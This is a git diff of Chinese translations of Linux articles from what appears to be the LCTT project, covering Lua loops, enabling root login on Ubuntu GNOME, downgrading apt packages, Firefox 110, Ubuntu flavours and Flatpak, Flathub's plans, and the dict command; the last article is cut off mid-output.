+条件是由一个使用运算符的表达式来定义的,运算符是你在数学课上可能认识的符号的一个花哨的术语。Lua 中有效的运算符有: + +- `==` 等于 +- `~=`不等于 +- `<` 小于 +- `>` 大于 +- `⇐`小于或等于 +- `>=` 大于或等于 + +这些被称为关系运算符,因为它们比较两个值之间的关联。还有一些逻辑运算符,其含义与英语中的含义相同,可以纳入条件中,进一步描述你想检查的状态: + +- `and` +- `or` + +下面是一些条件的例子: + +- `foo > 3`:变量 `foo` 是否大于 3?`foo` 必须是 4 或更大才能满足这个条件。 +- `foo >= 3`:`foo` 是否大于或等于 3?`foo` 必须是 3 或更大才能满足这个条件。 +- `foo > 3 and bar < 1`:`foo` 是否大于 3 而 `bar` 小于 1?要满足这个条件,`foo` 变量必须在 `bar` 为 0 的同时为 4 或更大。 +- `foo> 3 or bar < 1`:`foo` 是否大于 3?或者,`bar` 是否小于 1?如果 `foo` 是 4 或更大,或者 `bar` 是 0,那么这个条件就是真的。如果 `foo` 是 4 或更大,而 `bar` 是 0,会怎样?答案出现在本文的后面。 + +### while 循环 + +只要满足某个条件,while 循环就会执行指令。例如,假设你正在开发一个应用来监测正在进行的僵尸末日。当没有剩余的僵尸时,就不再有僵尸末日了: + +``` +zombie = 1024 + +while (zombie > 0) do + print(zombie) + zombie = zombie-1 +end + +if zombie == 0 then + print("No more zombie apocalypse!") +end +``` + +运行代码,看僵尸消失: + +``` +$ lua ./while.lua +1024 +1023 +[...] +3 +2 +1 +No more zombie apocalypse! +``` + +### until 循环 + +Lua 还有一个 `repeat` `until` 循环结构,本质上是一个带有 `catch` 语句的 `while` 循环。假设你在从事园艺工作,你想追踪还剩下什么可以收获的东西: + +``` +mytable = { "tomato", "lettuce", "brains" } +bc = 3 + +repeat + print(mytable[bc]) + bc = bc - 1 +until( bc == 0 ) +``` + +运行代码: + +``` +$ lua ./until.lua +brains +lettuce +tomato +``` + +这很有帮助! + +### 无限循环 + +一个无限循环有一个永远无法满足的条件,所以它无限地运行。这通常是一个由错误逻辑或你的程序中的意外状态引起的错误。例如,在本文的开头,我提出了一个逻辑难题。如果一个循环被设定为 `foo > 3 or bar < 1` 运行 ,那么当 `foo` 为 4 或更大而 `bar` 为 0 时,会发生什么? + +下面是解决这个问题的代码,为了以防万一,还使用了 `break` 语句安全捕获: + +``` +foo = 9 +bar = 0 + +while ( foo > 3 or bar < 1 ) do + print(foo) + foo = foo-1 + + -- safety catch + if foo < -800000 then + break + end +end +``` + +你可以安全地运行这段代码,但它确实模仿了一个意外的无限循环。有缺陷的逻辑是 `or` 运算符,它允许这个循环在 `foo` 大于 3 和 `bar` 小于 1 的情况下继续进行。`and` 运算符有不同的效果,但我让你去探索。 + +无限循环实际上有其用途。图形应用使用技术上的无限循环来保持应用程序窗口的开放。我们没有办法知道用户打算使用这个程序多久,所以程序无限地运行,直到用户选择**退出**。在这些情况下使用的简单条件显然是一个总是被满足的条件。下面是一个无限循环的例子,为了方便起见,还是内置了一个安全陷阱: + +``` +n = 0 + +while true do + print(n) + n = n+1 + + if n > 100 then + break + end +end +``` + +条件 `while true` 总是被满足,因为 `true` 总是为真。这是比写 `while 1 == 1` 或类似的永远为真的简洁方式。 + +### Lua 中的循环 + +从示例代码中可以看出,尽管有不同的实现方式,但循环基本上都是朝着同一个目标工作。选择一个对你来说有意义的,并且在你需要执行的处理过程中效果最好的。以防万一你需要它:终止失控循环的键盘快捷键是 `Ctrl+C`。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/lua-loops-while-repeat-until + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed/ +[1]: https://opensource.com/article/22/11/lua-for-loops +[0]: https://img.linux.net.cn/data/attachment/album/202302/25/152802hoi4khxzm3izpejh.jpg \ No newline at end of file diff --git a/published/202302/20230215.0 ⭐️ Login as Root in Ubuntu GUI.md b/published/202302/20230215.0 ⭐️ Login as Root in Ubuntu GUI.md new file mode 100644 index 0000000000..9c11b68611 --- /dev/null +++ b/published/202302/20230215.0 ⭐️ Login as Root in Ubuntu GUI.md @@ -0,0 +1,140 @@ +[#]: subject: "Login as Root in Ubuntu GUI" +[#]: via: "https://itsfoss.com/ubuntu-login-root/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15583-1.html" + +在 Ubuntu GUI 中以 root 身份登录 +====== + +![][0] + +默认情况下,Ubuntu 禁用了 root 账户。你必须使用 `sudo` 命令来执行任何需要 root 权限的任务。 + +当然,这是为了你自己的安全。一直以 root 身份使用系统,就像手里拿着一把剑到处跑。它增加了把事情搞乱的机会。 + +以 root 身份登录在服务器中仍然很常见。在桌面方面,以 root 身份登录的情况相当少见。甚至 Kali Linux 也做了改变。 + +然而,有一些桌面用户想以 root 身份登录。这不是什么明智之举,但肯定是可以做到的。 + +在本指南中,我将向你展示如何在 Ubuntu 中 **以 root 身份登录 GNOME 桌面**。 + +### 如何在 GNOME 桌面上以 root 身份登录 + +> 🚧 我不建议在桌面上以 root 身份登录。你有 sudo 机制来满足你所有的 root 需求。只有在你有足够理由的情况下才这样做。本教程仅用于演示目的。你已经被警告过了。 + +#### 步骤 1:启用 root 账户 + +你想以 root 身份登录。但默认情况下,root 账户是禁用的。第一步是启用它。 + +改变 root 账户的密码,这将为你启用 root 账户: + +``` +sudo passwd root +``` + +![change the password of root account in ubuntu][1] + +不言而喻,你不应该忘记 root 密码。 + +#### 步骤 2:改变 GDM 配置 + +> 🚧 本教程的这一部分只对 GNOME 有效。请 [检查你的桌面环境][2] 并确保它是 GNOME。 + +Ubuntu 默认使用 GNOME,GNOME 使用 GDM 显示管理器。 + +为了允许以 root 身份登录到 GNOME,你需要对位于 `/etc/gdm3/custom.conf` 的 GDM 配置文件做一些修改。 + +对该配置文件做一个备份: + +``` +cp /etc/gdm3/custom.conf /etc/gdm3/custom.conf~ +``` + +在最坏的情况下,如果你以某种方式把事情搞砸了,备份的文件可以用来从 TTY 上替换现有文件。 + +现在,用以下命令打开 GDM 文件: + +``` +sudo nano /etc/gdm3/custom.conf +``` + +并添加以下一行,允许 root 用户登录: + +``` +AllowRoot=true +``` + +![configure GDM on ubuntu][3] + +按 `Ctrl+X` 退出 Nano,同时保存它。 + +#### 步骤 3:配置 PAM 认证 + +现在,你必须配置 PAM 认证守护进程文件,它可以通过以下命令打开: + +``` +sudo nano /etc/pam.d/gdm-password +``` + +在这个文件中,你必须注释掉以下带有 `#` 号的一行,该符号拒绝 GUI 中的 root 访问: + +``` +auth required pam_succeed_if.so user != root quiet_success +``` + +![][4] + +[保存修改并退出 nano][5] 文本编辑器。 + +#### 步骤 4:以 root 身份登录 + +现在,重启你的系统: + +``` +reboot +``` + +在登录界面,选择 `Not listed` 选项,在用户名中输入 `root`,并输入你在本指南开头配置的密码: + +![Login as a root in ubuntu desktop][6] + +当你登录后,它就会通知你,**“logged in as a privileged user”**: + +![logged in as a privileged user in Ubuntu][7] + +这就完成了! 现在,你正在以 root 身份运行你的 Ubuntu 系统。 + +### 以 root 用户身份运行系统时,你应该知道的事情 + +Ubuntu 默认禁用 root 账户是有原因的。想知道为什么吗?在这里你可以找到: + +> **[Ubuntu 中的 root 用户-你应该知道的重要事项][8]** + +再说一遍,在你的桌面 Linux 系统中以 root 登录是不可取的。请遵守规范,远离这种(错误的)冒险。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/ubuntu-login-root/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed/ +[1]: https://itsfoss.com/content/images/2023/01/change-the-password-of-root-account-in-ubuntu.png +[2]: https://itsfoss.com/find-desktop-environment/ +[3]: https://itsfoss.com/content/images/2023/01/configure-GDM-on-ubuntu.png +[4]: https://itsfoss.com/content/images/2023/01/configure-PAM-authentication-daemon-in-ubuntu.gif +[5]: https://linuxhandbook.com/nano-save-exit/ +[6]: https://itsfoss.com/content/images/2023/01/Login-as-a-root-in-Ubuntu-desktop.png +[7]: https://itsfoss.com/content/images/2023/01/logged-in-as-a-privileged-user-in-Ubuntu.png +[8]: https://itsfoss.com/root-user-ubuntu/#what-is-root +[0]: https://img.linux.net.cn/data/attachment/album/202302/28/104536gesxvetse1rrru4q.jpg \ No newline at end of file diff --git a/published/202302/20230217.1 ⭐️ Downgrading a Package via apt-get.md b/published/202302/20230217.1 ⭐️ Downgrading a Package via apt-get.md new file mode 100644 index 0000000000..98a49d710e --- /dev/null +++ b/published/202302/20230217.1 ⭐️ Downgrading a Package via apt-get.md @@ -0,0 +1,122 @@ +[#]: subject: "Downgrading a Package via apt-get" +[#]: via: "https://itsfoss.com/downgrade-apt-package/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15580-1.html" + +通过 apt-get 降级一个软件包 +====== + +![][0] + +最近升级的软件引起问题了?虽然你总是可以调查问题以解决它,但有时,回到以前的工作版本可以节省时间和精力。如果新的版本引入了一个 bug,你可以在你这一边什么都不做,对吗? + +好消息是,你可以在 Ubuntu 和 Debian 中轻松地降级 apt 软件包。 + +你所要做的就是像这样使用 `apt` 命令: + +``` +sudo apt install package_name=package-version-number +``` + +这似乎很容易,但你如何获得确切的版本号?还有哪些旧版本被支持?你可以通过以下方式获得这个细节: + +``` +sudo apt-cache policy package_name +``` + +让我用一个现实生活中的例子来解释这些。 + +### 降级 apt 包 + +最近,我正在更新承载 It's FOSS 社区论坛的 Ubuntu 服务器。 + +我做了通常的 `apt update && apt upgrade`,在更新安装时,事情变得糟糕。 + +很明显,最新版本的 Docker 不支持 aufs 存储驱动。为了减少停机时间,我选择了降级到以前的 Docker 版本。 + +检查当前安装的软件包版本: + +![Installed Docker version][1] + +然后检查可以安装的可用版本: + +``` +sudo apt-cache policy package_name +``` + +它可能会抛出一个巨大的列表,或者只是一个小列表: + +![All installable versions of an apt package][2] + +如果它显示至少有一个比当前版本更早的版本,你就很幸运了。 + +现在,你可能认为一个软件包的版本号将只由数字组成。但情况可能并不总是这样。 + +基本上,你复制 500(优先级数字)之前的全部内容。 + +``` +brave-browser: + Installed: 1.48.158 + Candidate: 1.48.164 + Version table: + 1.48.164 500 + 500 https://brave-browser-apt-release.s3.brave.com stable/main amd64 Packages + *** 1.48.158 500 + 500 https://brave-browser-apt-release.s3.brave.com stable/main amd64 Packages + 100 /var/lib/dpkg/status + 1.47.186 500 + 500 https://brave-browser-apt-release.s3.brave.com stable/main amd64 Packages + 1.47.171 500 + 500 https://brave-browser-apt-release.s3.brave.com stable/main amd64 Packages + 1.46.153 500 +``` + +当你得到了软件包的编号,用它来降级已安装的软件包,像这样: + +``` +sudo apt install package_name=package-version-number +``` + +![Downgrading an installed package via apt-get command][3] + +当然,你会看到一个关于降级软件包的警告。 + +![Downgrading apt package][4] + +但是当这个过程完成,你的软件包就会被降级到给定的旧版本。 + +### 所以,也许要保留它? + +所以,你刚刚学会了降级 apt 软件包。但如果你不注意的话,该软件包会在下一次系统更新时再次升级。 + +不希望这样吗?你可以 [阻止一个软件包被更新][5]。像这样使用 `apt-mark` 命令: + +``` +sudo apt-mark hold package_name +``` + +我希望这个快速技巧能帮助你在需要时降级 apt 软件包。如果你有问题或建议,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/downgrade-apt-package/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed/ +[1]: https://itsfoss.com/content/images/2023/02/installed-docker-version.png +[2]: https://itsfoss.com/content/images/2023/02/available-docker-versions.png +[3]: https://itsfoss.com/content/images/2023/02/downgrading-installed-packages.png +[4]: https://itsfoss.com/content/images/2023/02/downgrading-installed-package.png +[5]: https://itsfoss.com/prevent-package-update-ubuntu/ +[0]: https://img.linux.net.cn/data/attachment/album/202302/27/115623ifb79v4pi4v0z991.jpg \ No newline at end of file diff --git a/published/202302/20230220.1 ⭐️ Firefox 110 Released with GPU Sandboxing, WebGL Improvements.md b/published/202302/20230220.1 ⭐️ Firefox 110 Released with GPU Sandboxing, WebGL Improvements.md new file mode 100644 index 0000000000..58bd3ea557 --- /dev/null +++ b/published/202302/20230220.1 ⭐️ Firefox 110 Released with GPU Sandboxing, WebGL Improvements.md @@ -0,0 +1,79 @@ +[#]: subject: "Firefox 110 Released with GPU Sandboxing, WebGL Improvements" +[#]: via: "https://debugpointnews.com/firefox-110/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15572-1.html" + +Firefox 110 发布,带来 GPU 沙盒、WebGL 改进功能 +====== + +![][1] + +> Firefox 110 现在可以下载了,带来了以下新功能。 + +上周发布的 Firefox 110 是今年的第二个版本,现在可以通过官方发布渠道下载和升级。 + +这个月度版本是在 [Firefox 109][2] 版本之后发布的,后者是在 1 月份发布的。 + +总的来说,新的功能和错误修复很少,特别是对 Linux 来说。下面是一个快速点评。 + +![Firefox 110 Running in Linux][3] + +### Firefox 110 的最佳新功能 + +对于 Windows 用户来说,这个版本有一些好消息。期待已久的安全功能 “GPU 沙盒” 现在在 Windows 中的 Firefox 中可用。从理论上讲,沙盒可以隔离一个进程,使其他恶意程序无法攻击或访问系统中的其他进程。有了这个功能,GPU 进程会被隔离,在 Windows 中可以给你一个更安全的浏览体验。 + +你可以使用以下步骤检查沙盒功能。 + +- 从地址栏打开 `about:support`。 +- 在页面底部搜索(`CTRL+F`)“sandbox”。 +- 并验证设置。 + +不知道这项功能何时会到达 Linux 或 macOS。 + +除上述内容外,现在还可以从 Opera 和 Vivaldi 网络浏览器中导入书签、浏览历史和密码。这使那些想迁移到 Firefox 的人更加方便。 + +此外,Firefox 浏览器现在启用了阻止第三方模块注入 Firefox 浏览器的选项。企业级大规模的 Firefox 浏览器部署得到了一个与上述阻止相一致的新策略,名为 `DisableThirdPartyModuleBlocking`。然而,它在 Firefox ESR 部署中不可用。 + +在 macOS、Linux 和 Windows 中进行了一些可用性改进,在按下 `CTRL` + `backspace`/`delete`或 `Cmd` + `backspace` 时,可以清除本地化的日期时间字段。除此之外,Firefox 现在在 Windows 的非英特尔 GPU 中叠加了硬件解码的视频,改善了视频播放性能和缩放质量。 + +这些是主要的变化,除了开发者特定的 CSS、HTML 更新,你可以在更新日志页面找到更多变化的说明(见下文)。 + +### 下载和更新 + +对于 Linux 发行版,如果你通过你的发行版的官方仓库使用 Firefox,那么你应该在几天内得到这个更新。 + +然而,你也可以从下面的页面下载这个版本的压缩版本。对于其他下载选项,请访问我们的 [Firefox 浏览器下载指南][4]。 + +> **[下载 Firefox 浏览器110][5]** + +祝你浏览愉快! + +- [正式发布说明][6] +- [Beta110 发布说明][7] +- [开发者发布说明][8] + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/firefox-110/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed/ +[1]: https://debugpointnews.com/wp-content/uploads/2023/02/firefox.jpg +[2]: https://debugpointnews.com/firefox-109/ +[3]: https://debugpointnews.com/wp-content/uploads/2023/02/Firefox-110-Running-in-Linux.jpg +[4]: https://www.debugpoint.com/download-firefox/ +[5]: https://ftp.mozilla.org/pub/firefox/releases/110.0/ +[6]: https://www.mozilla.org/en-US/firefox/110.0/releasenotes/ +[7]: https://www.mozilla.org/en-US/firefox/110.0beta/releasenotes/ +[8]: https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/110 \ No newline at end of file diff --git a/published/202302/20230223.0 ⭐️ Ubuntu Flavours Decide to Stop Flatpak by Default.md b/published/202302/20230223.0 ⭐️ Ubuntu Flavours Decide to Stop Flatpak by Default.md new file mode 100644 index 0000000000..f3e2992665 --- /dev/null +++ b/published/202302/20230223.0 ⭐️ Ubuntu Flavours Decide to Stop Flatpak by Default.md @@ -0,0 +1,66 @@ +[#]: subject: "Ubuntu Flavours Decide to Stop Flatpak by Default" +[#]: via: "https://debugpointnews.com/ubuntu-flavours-flatpak/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15570-1.html" + +所有官方的 Ubuntu 特色版决定默认停止使用 Flatpak +====== + +![][1] + +> Ubuntu 各特色版已同意停止使用 Flatpak 作为其操作系统的默认打包系统,而选择替代的打包管理器。 + +这是一个令人惊讶的举动,Canonical 宣布,所有官方的 Ubuntu 特色版将不会默认支持 Flatpak。这个决定是在与所有官方 Ubuntu 特色版的团队/维护者达成一致后做出的。这一变化计划从 2023 年 4 月发布的 “Lunar Lobster” 开始,该版本将在几周后发布。 + +### Ubuntu 官方特色版将停止默认安装 Flatpak + +基于 Ubuntu 的官方特色版(Kubuntu、Lubuntu、Xubuntu 等)将不再将 Flatpak 作为其默认的打包解决方案,而选择其他方案,如 Snap 和本地 deb 格式。这样做是为了 “在尊重现有用户个性化他们自己的体验方式的同时,改善新用户开箱即用的 Ubuntu 体验”。 + +虽然这个决定得到了 Canonical 的支持,为了提供更好的用户体验,阻止软件包生态系统的碎片化,并给用户一个稳定的应用产品的选择。但显然,有几个问题冒了出来。 + +为什么是现在?Flatpak 和 Snap 都已经存在多年了。Flatpak 正变得越来越流行,它作为一种包格式在积极开发和维护,一些现代功化的功能也正在开发中,比如即将出现的 “经过验证的应用程序”。而同时,由于 Snap 的 “启动时间慢”,以及被 Canonical 的封闭服务器所控制等其他原因,它在桌面应用部署领域无法得到很大普及。 + +Ubuntu 发行版本身从来没有默认提供过 Flatpak。但是特色版的维护者应该有选择自己的产品的自由,并在 Ubuntu 基础上进行创新。这也是成为一个特色版的主要原因,而不只是一个不同的桌面环境。 + +### 给用户造成的困难 + +虽然你总是可以手动安装 Flatpak 并配置 Flathub,但显然,这可能会给用户带来一些问题。我相信这个公告是彻底阻止 Flatpak 安装方式的第一步。 + +还记得 Firefox Snap 的情况吗?要删除 Firefox Snap,你必须做复杂的命令行操作,才能安装 deb 版本。这些对于普通的 Ubuntu 用户来说是非常复杂的。此外,一些流行的桌面应用程序在发布后会立即推出 Flatpak 软件包。对于许多流行的 Linux 桌面应用程序来说,有时甚至没有提供 Snap 软件包。 + +我相信让用户来决定哪种打包格式是容易和遵循的。Canonical 应该通过解决 Snap 的核心问题、应用程序的可用性和闭门造车的性质来自行改进 Snap,而不是强行做出决定。此外,在为一个社区贡献的发行版推送决定之前,应该与特色版维护者一起发起投票,以获得来自社区的反馈。 + +### 结束语 + +如果我们曾经从历史中吸取教训的话,它永远不会以好的方式结束。也就是说,这一变化将从 2023 年 4 月 23 日 Ubuntu 23.04 “Lunar Lobster” 发布时开始。 + +让我用 Ubuntu 的座右铭来结束这篇文章,在这一举措之后,这听起来很奇怪: + +> “Ubuntu 是一个古老的非洲语单词,意思是‘以人道善待他人Humanity to Others’。它经常被描述为提醒我们,‘群在故我在’。我们把 Ubuntu 的精神带到了计算机和软件的世界里。Ubuntu 发行版代表了世界软件社区与世界分享的最好的东西。” +> +> —— [关于 Ubuntu][3] + +新闻引自 [Joey @ OMG! Ubuntu!][4] 和 [discourse][5]。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/ubuntu-flavours-flatpak/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed/ +[1]: https://debugpointnews.com/wp-content/uploads/2023/02/fpubuntu.jpg +[2]: https://debugpointnews.com/wp-content/uploads/2023/02/fpubuntu.jpg +[3]: https://ubuntu.com/about +[4]: https://www.omgubuntu.co.uk/2023/02/ubuntu-flavors-no-flatpak +[5]: https://discourse.ubuntu.com/t/ubuntu-flavor-packaging-defaults/34061 \ No newline at end of file diff --git a/published/202302/20230224.0 ⭐️⭐️ Flathub Plans to Evolve as the Universal Linux App Store.md b/published/202302/20230224.0 ⭐️⭐️ Flathub Plans to Evolve as the Universal Linux App Store.md new file mode 100644 index 0000000000..9876f05e1d --- /dev/null +++ b/published/202302/20230224.0 ⭐️⭐️ Flathub Plans to Evolve as the Universal Linux App Store.md @@ -0,0 +1,117 @@ +[#]: subject: "Flathub Plans to Evolve as the Universal Linux App Store" +[#]: via: "https://news.itsfoss.com/flathub-app-store-plans/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15577-1.html" + +Flathub 计划发展为通用的 Linux 应用商店 +====== + +> Flathub 正在为全面的改变和改进做准备。以下是你需要了解的情况。 + +![flathub rebrand old logo vs new logo][1] + +作为一个 Flatpak 仓库,[Flathub][2] 一直非常受欢迎,并且它也是 Canonical 的 [Snap Store][3] 的良好替代品。 + +而现在,背后支持它的 GNOME 和 KDE 等准备更进一步,启动了一个 **完全的品牌重塑和发展该平台的计划**。 + +让我们看看 Flathub 的未来。 + +### Flathub 的品牌重塑 + +![a comparision between the old and new logos of flathub][4] + +随着 GNOME 的 Jakub Steiner **带头进行的品牌重塑**,Flathub 的外观和感觉都将发生改变。 + +他专注于使 Flathub 的新形象不至于太 “喧宾夺主”,而将重点始终放在应用程序本身。 + +他还提到: + +> 在中性灰色的基础上建立一个品牌并不容易,但这恰恰是针对 Flathub 品牌的要点。 +> +> 它为应用程序创造了闪耀的舞台,Flathub 本身并不炫目,它让应用程序成为你注意力的中心。 + +如果你对 UI/UX 感兴趣,我建议你阅读他的 [博文][5],以更详细地了解 Flathub 的新视觉识别。 + +### Flathub 应用商店的发展 + +![Flathub beta 版门户截图][6] + +[GNOME 基金会][7] 和 [KDE e.V][8] 在建立和改进 Flathub 方面一直进展良好。自 2017 年推出以来,Flathub 一直在以非常惊人的速度发展着。 + +**发生了什么?** 在上个月的一项最新 [提案][9] 中,计划了一些值得关注的事情,重点是使 Flathub 成为一个激励其发布者的 Linux 应用生态系统。 + +简单来说,他们想把 Flathub 变成一个**成熟的应用商店**,让发布者可以从他们的应用中获得收益,这应该会改善资金状况。 + +**为什么?** 这样做的理由是;如今的这种资金障碍阻碍了潜在的开发者开发开源应用程序,这反过来又阻碍了整个开源生态系统的发展。 + +提案中强调的另一件事是: + +> 健康的应用程序生态系统对于开源软件桌面的成功至关重要,以便最终用户可以信任并控制他们面前的设备上的数据和开发平台。 + +**Flathub 将如何实现这一目标?** 定期捐赠或订阅系统是该计划的主要补充之一。 + +🛠️ 诸如防止滥用应用程序收录的审查工具、自动安全扫描,以及一些更细微的变化都已进入计划。 + +此外,Flathub 需要工具来防止误导性的应用名称、描述、屏幕截图等出现在平台上,并阻止它们,直到它们被审查,以保证被检查过。 + +总的来说,总结一下,以下是你可以期待的事情: + +- 定期捐款系统或订阅系统 +- 付费的应用程序 +- 改进 Flathub 的应用审查流程和监测更新变化的内部工具 + +你可能会发现一些实施方案已经出现在 [Flathub 的测试门户][10],比如 [新的应用程序验证系统][11]。 + +此外,他们打算建立一个新的法律实体 **Flathub LLC**,来拥有和运营这项服务。 + +他们旨在通过它建立以下内容: + +> 透明的治理流程以维护社区信任和问责制,并建立一个咨询委员会/赞助流程以在我们的拨款申请的同时吸引商业赞助。 + +💸 **现在你可能在想,他们预算如何?** + +该提案提到,**未来一年的总预算为 20 万美元**。 + +其中包括 12 万美元的员工工资,以及 3 万美元的法律、专业和管理费用,最后 5 万美元用于平台的开发。 + +他们已经有 5 万美元用于前一阶段的开发,另外还有 10 万美元已经确认,所需预算的 50% 已经有了。 + +剩余的 10 万美元已经从 [Plaintext Group][12] 寻求,该集团是由 **谷歌前 CEO 埃里克·施密特** 创立的 Schmidt Futures 的一部分。 + +### 总结 + +好吧,我必须说这是一个非常值得关注的举措。 + +Flathub 已经受到了各类 Linux 用户的欢迎。因此,推动有助于资助该项目的功能,将 Flathub 变成一个丰富的应用生态系统,**有望成为桌面用户的通用 Linux 应用平台**。 + +💬 可能这就是 Linux 桌面用户所需要的。你怎么看?请在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/flathub-app-store-plans/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed/ +[1]: https://news.itsfoss.com/content/images/size/w1304/2023/02/flathub-rebrand.png +[2]: https://flathub.org +[3]: https://snapcraft.io/store +[4]: https://news.itsfoss.com/content/images/2023/02/Flathub_Old_New_Logos.jpg +[5]: https://blog.jimmac.eu/2023/flathub-brand-refresh/ +[6]: https://news.itsfoss.com/content/images/2023/02/flathub-beta.jpg +[7]: https://foundation.gnome.org +[8]: https://ev.kde.org +[9]: https://github.com/PlaintextGroup/oss-virtual-incubator/blob/main/proposals/flathub-linux-app-store.md +[10]: https://beta.flathub.org/en-GB +[11]: https://news.itsfoss.com/verified-flatpak-apps/ +[12]: https://www.plaintextgroup.com \ No newline at end of file diff --git a/published/20230206.1 ⭐️⭐️ Wordsmith on the Linux command line with dict.md b/published/20230206.1 ⭐️⭐️ Wordsmith on the Linux command line with dict.md new file mode 100644 index 0000000000..349301908e --- /dev/null +++ b/published/20230206.1 ⭐️⭐️ Wordsmith on the Linux command line with dict.md @@ -0,0 +1,165 @@ +[#]: subject: "Wordsmith on the Linux command line with dict" +[#]: via: "https://opensource.com/article/23/2/linux-dict-command" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15607-1.html" + +在 Linux 命令行上使用 dict 文字工具 +====== + +![][0] + +> Linux 上的 dict 命令对作家来说非常有用,可以为他们的选词提供大量的字典和同义词。 + +作为一个作家,我经常需要确定单词的正确拼写或定义。我还需要使用词库来寻找替代词,这些词的内涵可能与我可能使用的词有些不同。因为我经常使用 Linux 命令行和文本模式工具来完成我的大部分工作,所以使用命令行词典是有意义的。 + +我非常喜欢使用命令行,原因有很多,其中最主要的原因是它对我来说更有效率。它也比任何一本或多本实体纸质字典,都要全面得多。我使用 Linux 的 `dict` 命令已经很多年了,我已经开始依赖它了。 + +### 在 Linux 上安装 dict + +`dict` 程序在 Fedora 上没有默认安装,但它很容易安装。以下是如何在 Fedora 或类似发行版上安装: + +``` +$ sudo dnf install dictd +``` + +在 Debian 和类似发行版上,你还必须安装字典定义: + +``` +$ sudo apt install dictd dict-gcide +``` + +不需要额外的配置。这个非常简单的 `/usr/share/doc/dictd/dict1.conf` 文件指定了字典数据库的远程服务器。这个工具使用字典服务器协议(DICT),端口为 2628。 + +### 在 Linux 上使用 dict + +在终端会话中,以非 root 用户的身份,输入 `dict ` 来获取一个或多个字典和词库的定义列表。例如,以这种方式查找 `memory` 这个词。 + +``` +$ dict memory | less +6 definitions found + +From The Collaborative International Dictionary of English v.0.48 [gcide]: + + Memory \Mem"o*ry\, n.; pl. {Memories}. [OE. memorie, OF. + memoire, memorie, F. m['e]moire, L. memoria, fr. memor + mindful; cf. mora delay. Cf. {Demur}, {Martyr}, {Memoir}, + {Remember}.] + [1913 Webster] + 1. The faculty of the mind by which it retains the knowledge + of previous thoughts, impressions, or events. + [1913 Webster] + + Memory is the purveyor of reason. --Rambler. + [1913 Webster] + + 2. The reach and positiveness with which a person can + remember; the strength and trustworthiness of one's power + to reach and represent or to recall the past; as, his + memory was never wrong. + [1913 Webster] + + +From WordNet (r) 3.0 (2006) [wn]: + + memory + n 1: something that is remembered; "search as he would, the + memory was lost" + 2: the cognitive processes whereby past experience is + remembered; "he can do it from memory"; "he enjoyed + remembering his father" [syn: {memory}, {remembering}] + 3: the power of retaining and recalling past experience; "he had + + +From Moby Thesaurus II by Grady Ward, 1.0 [moby-thesaurus]: + + 78 Moby Thesaurus words for "memory": + RAM, anamnesis, anniversaries, archetypal pattern, archetype, + awareness, celebrating, celebration, ceremony, cognizance, + commemoration, consciousness, disk memory, dressing ship, + + +From The Free On-line Dictionary of Computing (30 December 2018) [foldoc]: + + memory + + These days, usually used synonymously with {Random + Access Memory} or {Read-Only Memory}, but in the general sense + it can be any device that 